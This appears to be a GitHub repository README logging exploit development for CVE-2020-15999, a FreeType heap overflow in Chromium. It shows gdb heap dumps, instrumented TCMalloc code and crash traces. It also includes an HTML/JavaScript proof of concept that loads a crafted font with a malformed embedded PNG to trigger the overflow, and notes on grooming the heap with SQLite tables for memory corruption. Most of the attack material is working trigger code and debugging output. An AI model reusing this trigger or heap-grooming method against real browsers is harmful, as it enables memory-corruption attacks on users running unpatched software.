(gdb) x/10x 0x267d19d0e410
0x267d19d0e410:	0x00004178	0xfffffffc	0x00004178	0xfffffffc
0x267d19d0e420:	0xcdcdcdcd	0xcdcdcdcd	0xcdcdcdcd	0xcdcdcdcd
0x267d19d0e430:	0xcdcdcdcd	0xcdcdcdcd
(gdb) 

What is 0xfffffffc00004178??

Seems like each Thread Freelist has this as list pointers.

Tried also to dump allocations in Chromium TCMalloc but it finds the same address in the list (next item):

page_heap.cc

Span* PageHeap::New(Length n) {
  ASSERT(Check());
  ASSERT(n > 0);
  void* next = NULL;


  Span* result = SearchFreeAndLargeLists(n);
  if (result != NULL)
  {
           RAW_LOG(INFO,"page_heap s = %i\nl = %i\nn = %p\np = %p\no = %p\n", result->start,result->length,result->next, result->prev, result->objects);
           do
           {


             if(result->objects)
             {

             next = FL_Next(result->objects);
             RAW_LOG(INFO,"list:%p\n",next);
             }
           }while(result->objects);
           return result;
  }

Seg faults on FL_NEXT:

page_heap s = 2009985722
l = 1
n = (nil)
p = (nil)
o = 0x277cdf2ba400
FL_NEXT 0xfffffffc00004178
Segmentation fault (core dumped)

Update 9

You can use MALLOC_TRACE to inspect allocaiton and deallocations. Oversaw it.

Update 10

I can find the allocation (first is size, second address)

mymalloc = 32784 0x1d47fa4c9020
imgHeight:262145width:1

corresponds to content:

(gdb) x/10000x 0x1d47fa4c9020
0x1d47fa4c9020:	0x00000000	0x00000000	0x00000000	0x00000000
0x1d47fa4c9030:	0x00000000	0x00000000	0x00000000	0x00000000
0x1d47fa4c9040:	0x00000000	0x00000000	0x00000000	0x00000000
0x1d47fa4c9050:	0x00000000	0x00000000	0x00000000	0x00000000
0x1d47fa4c9060:	0x00000000	0x00000000	0x00000000	0x00000000
0x1d47fa4c9070:	0x00000000	0x00000000	0x00000000	0x00000000
0x1d47fa4c9080:	0x00000000	0x00000000	0x00000000	0x00000000
0x1d47fa4c9090:	0x00000000	0x00000000	0x00000000	0x00000000
0x1d47fa4c90a0:	0x00000000	0x00000000	0x00000000	0x00000000
0x1d47fa4c90b0:	0x00000000	0x00000000	0x00000000	0x00000000
0x1d47fa4c90c0:	0x00000000	0x00000000	0x00000000	0x00000000

Update 11

See some SQLite objects (SQL queries), but somehow cannot see my arrays:

<body>
<script>

ar = new Uint8Array([41,42,43,44].concat(Array(524442).fill(0)));

font_face = new FontFace('foo', new Uint8Array([0,1,0,0,0,11,0,144,0,3,0,32,79,83,47,50,0,0,0,0,0,0,0,188,0,0,0,96,99,109,97,112,0,0,0,0,0,0,1,28,0,0,0,44,103,108,121,102,0,0,0,0,0,0,1,72,0,0,0,2,104,101,97,100,0,0,0,0,0,0,1,76,0,0,0,54,104,104,101,97,0,0,0,0,0,0,1,132,0,0,0,36,104,109,116,120,0,0,0,0,0,0,1,168,0,0,0,12,108,111,99,97,0,0,0,0,0,0,1,180,0,0,0,8,109,97,120,112,0,0,0,0,0,0,1,188,0,0,0,32,110,97,109,101,0,0,0,0,0,0,1,220,0,0,0,6,112,111,115,116,0,0,0,0,0,0,1,228,0,0,0,40,115,98,105,120,0,0,0,0,0,0,2,12,0,8,0,228,0,4,3,31,1,144,0,5,0,0,2,188,2,138,0,0,0,140,2,188,2,138,0,0,1,221,0,50,0,250,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,32,32,32,32,0,64,0,65,0,67,2,238,255,6,0,0,3,32,0,18,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,32,0,8,0,0,0,1,0,3,0,1,0,0,0,12,0,4,0,32,0,0,0,4,0,4,0,1,0,0,0,67,255,255,0,0,0,65,255,255,255,191,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,95,15,60,245,0,43,3,32,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3,32,3,32,0,0,0,8,0,2,0,0,0,0,0,0,0,1,0,0,3,32,255,6,0,0,3,32,255,255,0,1,3,31,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3,3,32,0,90,3,32,0,90,3,32,0,90,0,0,0,0,0,0,0,0,0,1,0,0,0,3,0,8,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6,0,0,0,2,0,0,0,0,0,0,255,181,0,50,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,12,0,150,0,72,0,0,0,20,0,0,0,20,0,4,0,118,0,8,0,216,0,0,0,0,112,110,103,32,137,80,78,71,13,10,26,10,0,0,0,13,73,72,68,82,0,0,0,1,0,4,0,1,8,6,0,0,1,236,88,250,229,0,4,0,31,73,68,65,84,120,1,0,255,255].concat(Array(524442).fill(0),[1,4,0,251,255,0,0,0,0,0,60,0,1,238,161,155,68,0,0,0,0,73,69,78,68,174,66,96,130,234,207])));
font_face.load().then(() => {
  document.fonts.add(font_face);
    document.body.style.fontFamily = 'foo';
    document.body.textContent = 'B';
});

ar1 = new Uint8Array([45,46,47,48,49,50].concat(Array(524442).fill(0)));


</script>
</body>

Update 12

0x316176764020

(gdb) x/10s 0x316176764020
0x316176764020:	""
0x316176764021:	""
0x316176764022:	""
0x316176764023:	""
0x316176764024:	""
0x316176764025:	'\253' <repeats 200 times>...
0x3161767640ed:	'\253' <repeats 200 times>...
0x3161767641b5:	'\253' <repeats 200 times>...
0x31617676427d:	'\253' <repeats 200 times>...
0x316176764345:	'\253' <repeats 200 times>...



(gdb) x/10x 0x31617676841d
0x31617676841d:	0xab	0xab	0xab	0xab	0xab	0xab	0xab	0xab
0x316176768425:	0xab	0xab
(gdb) x/10x 0x316176764020
0x316176764020:	0x00	0x00	0x00	0x00	0x00	0xab	0xab	0xab
0x316176764028:	0xab	0xab

Whatever it was, it was overwritten with 0:

Thread 8 "Chrome_IOThread" received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0x7fffa3756700 (LWP 12294)]
0x00007fffefd07ab8 in base::internal::FunctorTraits<void (content::responsiveness::MetricSource::Delegate::*)(base::PendingTask const*), void>::Invoke<void (content::responsiveness::MetricSource::Delegate::*)(base::PendingTask const*), content::responsiveness::MetricSource::Delegate*, base::PendingTask const*> (
    method=&virtual content::responsiveness::MetricSource::Delegate::DidRunTaskOnIOThread(base::PendingTask const*), 
    receiver_ptr=@0x7fffa37546b8: 0x316173641d40, args=
    @0x7fffa3754710: 0x3161713d9020) at ../../base/bind_internal.h:498
498	    return ((*receiver_ptr).*method)(std::forward<RunArgs>(args)...);
(gdb)  x/10x 0x31617676841d
0x31617676841d:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0x316176768425:	0x00	0x00
(gdb) x/10x 0x316176764020
0x316176764020:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0x316176764028:	0x00	0x00

0x31617676841d - Font
0x316172cd1260 - my object (hopefully one of arrays?)

Update 13

Naaah .... the Uint8Arrays will be on the v8 heap, seems like I am on TCMalloc heap.

Update 14

Received a tip to use this approach: https://blog.exodusintel.com/2019/01/22/exploiting-the-magellan-bug-on-64-bit-chrome-desktop/ Meaning spraying the heap with create tables, drop few to make place for the font, do the corruption.

Update 15

Yep, looks promising

Below I created tables and allocated exploit font

imgHeight:262145
sqlite3 malloc: 0x3b48e9a76440
sqlite3 malloc: 0x3b48e96944a0
sqlite3 malloc: 0x3b48e98c8320
imgWidth:1
imgHeight:262145
ft_glyphslot_alloc_bitmap p:0x3b48e98ed360 s:4
mymalloc = 2097160 0x3b48e9d59020
mymalloc = 32784 0x3b48e9ad8020

Digging some more.

Update 16

For the sake of completeness, here is Starlab's PoC for Linux:

https://github.com/star-sg/CVE/tree/master/CVE-2020-15999

About

CVE-2020-15999


Languages

Language:CSS 55.8%Language:HTML 44.2%